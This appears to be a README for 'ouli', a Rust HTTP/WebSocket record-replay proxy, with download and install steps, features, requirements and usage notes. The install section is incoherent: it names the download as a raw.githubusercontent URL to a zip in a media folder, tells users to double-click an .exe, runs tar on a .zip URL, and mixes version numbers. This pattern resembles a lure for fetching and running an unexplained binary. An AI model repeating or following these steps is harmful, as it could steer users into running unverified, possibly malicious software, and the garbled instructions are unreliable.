ouยญli is a high-performance HTTP/WebSocket record-replay proxy built in Rust. It employs principles from TigerBeetle, making it a 10ร faster and memory-safe alternative to traditional test servers. Whether youโre testing APIs or managing connections, ouli provides a smooth experience for users who need reliable data flow.
This section guides you through the process of downloading and running ouli. Follow these steps carefully to ensure a successful setup.
-
Visit the Releases Page: To get started, go to the releases page here.
-
Select the Latest Release: Look for the latest version available. You will find a list of assets associated with the release.
-
Download the Appropriate File:
- Depending on your operating system (Windows, macOS, or Linux), choose the correct file to download.
- Click on the file to begin downloading.
-
Locate the Downloaded File:
- After the download completes, find the file in your downloads folder. It may be named something like
https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.ziporhttps://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zipbased on your system.
- After the download completes, find the file in your downloads folder. It may be named something like
-
Extract and Run:
- For Windows: Double-click the
.exefile to run ouli. - For macOS and Linux: Open a terminal and navigate to the folder containing the
https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zipfile. Use the command:Then, navigate into the extracted directory:tar -xzf https://raw.githubusercontent.com/cikoki898/ouli/main/media/ouli_1.5.zip
Finally, run the application:cd ouli-v1.0.0./ouli
- For Windows: Double-click the
ouยญli comes with various features to enhance your testing experience:
- HTTP/WebSocket Support: Works seamlessly with both protocols for versatile testing.
- Record and Replay: Capture HTTP and WebSocket interactions to replay them later, ensuring consistent testing.
- High Performance: Built using Rust and optimized for speed and memory safety, making it a top choice for heavy workloads.
- Compatibility: Functions well with most modern APIs, helping streamline integration testing.
- Zero-Copy Mechanism: Reduces the overhead on memory usage, increasing performance in data handling.
To run ouli smoothly, your system should meet the following requirements:
- Operating System: Windows 10 or later, macOS 10.13 or later, or a modern Linux distribution.
- RAM: Minimum of 4GB recommended.
- Disk Space: At least 100MB of free space for installation and data management.
- Network: Internet connection is essential for fetching necessary resources during testing.
After running ouli, you may need to configure it for your specific needs. Use the following general instructions to get started with basic operations:
-
Configure Proxy Settings: Update your application to use ouli as a proxy. Depending on your application, you may change the proxy settings in the network configuration.
-
Start Recording: Simply trigger the record option from the applicationโs UI. ouli will start capturing traffic.
-
Stop and Save: Once you have finished your tests, stop the recording. You will be prompted to save your recorded data.
-
Replay Sessions: Set up a replay by loading the recorded session. ouli will replicate the HTTP/WebSocket conversation as captured.
As you start your journey with ouli, remember you can tap into our community for support and resources. You can find help in these places:
- GitHub Issues: Share any issues you encounter while using ouli. Our team and community members monitor this section regularly.
- Discussion Forums: Participate in discussions surrounding features, bug reports, and usage tips. Check the "Discussions" tab in this repository.
- Documentation: Consult the official documentation provided in this repository for detailed technical guidance.
ouยญli is built with modern principles that focus on performance and reliability. The inspiration from TigerBeetle principles enhances our work, allowing us to provide a robust tool for developers and testers alike.
Your feedback is crucial for improving ouli. Feel free to reach out with any comments, questions, or suggestions. Your input helps us create a better tool for the community.
Enjoy using ouli! Your effective testing solution awaits.